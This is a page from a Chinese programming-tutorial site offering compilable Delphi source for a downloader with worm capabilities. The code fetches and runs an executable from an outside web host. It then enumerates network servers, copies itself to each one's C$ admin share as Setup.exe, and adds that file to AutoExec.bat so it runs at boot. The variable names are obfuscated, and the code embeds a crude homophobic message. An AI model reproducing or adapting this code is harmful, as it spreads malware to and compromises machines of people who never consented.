新客网WWW.XKER.COM:致力做中国最专业的网络学院!
学院: 操作系统 - 网络应用 - 服务器 - 网络安全 - 工具软件 - 办公软件 - Web开发 - 数据库 - 网页设计 - 图形图像 - 媒体动画 - 硬件学堂 - 存储频道 - QQ专区
您的位置:首页 > 软件开发 > .Net开发 > Asp.net教程 > 正文:蠕虫功能的下载者源代码

蠕虫功能的下载者源代码

新客网 XKER.COM 2006-04-24 来源: 收藏本文

源码公布:可以直接编译.蠕虫部分是国外的代码.

Program a;

Uses
Windows;

Const
krnp : String = 'I want to dedicate this message to '+
'gates. Gates, you suck. Gates'+
'you really are homosexual. etc';

VAR
ww     : String;


function mbgcqsd_(Caller: cardinal; URL: PChar; FileName: PChar;Reserved: LongWord; StatusCB: cardinal):Longword; stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';
Function LowerCase(const S: string): string;
var
kixoebvq: Integer;
begin
kixoebvq := Length(S);
SetString(Result, PChar(S), kixoebvq);
if kixoebvq > 0 then CharLowerBuff(Pointer(Result), kixoebvq);
end;

Function FileSize(FileName: String): Int64;
Var
  zjzb: THandle;
  exn: TWin32FindData;
Begin
  Result:= -1;

  zjzb:= FindFirstFile(PChar(FileName), exn);
  If zjzb <> INVALID_HANDLE_VALUE Then
  Begin
  Windows.FindClose(zjzb);
  Result:= Int64(exn.nFileSizeHigh) Shl 32 + exn.nFileSizeLow;
  End;
End;

Function ExtractFileName(Str:String):String;
Begin
While Pos('\', Str)>0 Do
  Str := Copy(Str, Pos('\',Str)+1, Length(Str));
Result := Str;
End;

Function ExtractFileExt(s:string):String;
Begin
While Pos('.', S)>0 Do
  S := Copy(S, pos('.', S)+1, Length(s));
Result := S;
End;

function FileExists(const FileName: string): Boolean;
var
  __pqxjj: THandle;
  wgndplz: TWin32FindData;
begin
  __pqxjj := FindFirstFileA(PChar(FileName), wgndplz);
  result:= __pqxjj <> INVALID_HANDLE_VALUE;
  if result then
  begin
  CloseHandle(__pqxjj);
  end;
end;

procedure Enumeration(aResource:PNetResource);
var
qnlshmm: THandle;
kujf_n, mec: DWORD;
wgokq: array[0..1023] of TNetResource;
_fehlq: Integer;
begin
  WNetOpenEnum(2,0,0,aResource,qnlshmm);
  kujf_n:=1024;
  mec:=SizeOf(wgokq);
  while WNetEnumResource(qnlshmm,kujf_n,@wgokq,mec)=0 do
  for _fehlq:=0 to kujf_n-1 do
  begin
  if wgokq[_fehlq].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then
  ww := ww + copy(LowerCase(wgokq[_fehlq].lpRemoteName),3,MAX_PATH) + #13#10;
  if wgokq[_fehlq].dwUsage>0 then
  Enumeration(@wgokq[_fehlq])
end;
WNetCloseEnum(qnlshmm);
end;

Procedure Network;
Var
x_a : String;
ktkma : TextFile;
Begin
Enumeration(NIL);
While ww <> '' Do Begin
  x_a := Copy(ww, 1, Pos(#13#10, ww)-1);
  Try
  CopyFile(pChar(ParamStr(0)), pChar(x_a + '\C$\Setup.exe'), False);
  If FileExists(pChar(x_a + '\C$\AutoExec.bat')) Then Begin
  AssignFile(ktkma, x_a + '\C$\AutoExec.bat');
  Append(ktkma);
  WriteLn(ktkma, 'Setup.exe');
  CloseFile(ktkma);
  End;
  Except
  ;
  End;
  ww := Copy(ww, Pos(#13#10, ww)+2, Length(ww));
End;
End;


Begin
mbgcqsd_(0, 'http://djyangyong.nease.net/mm.exe', 'C:\win30.exe', 0, 0);
WinExec('C:\win30.exe',0);
Network;

End.

收藏】 【评论】 【推荐】 【投稿】 【打印】 【关闭
发表评论
要记得去论坛讨论,点击注册新会员匿名评论
评论内容:不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
阅读排行
随机推荐
实用信息推荐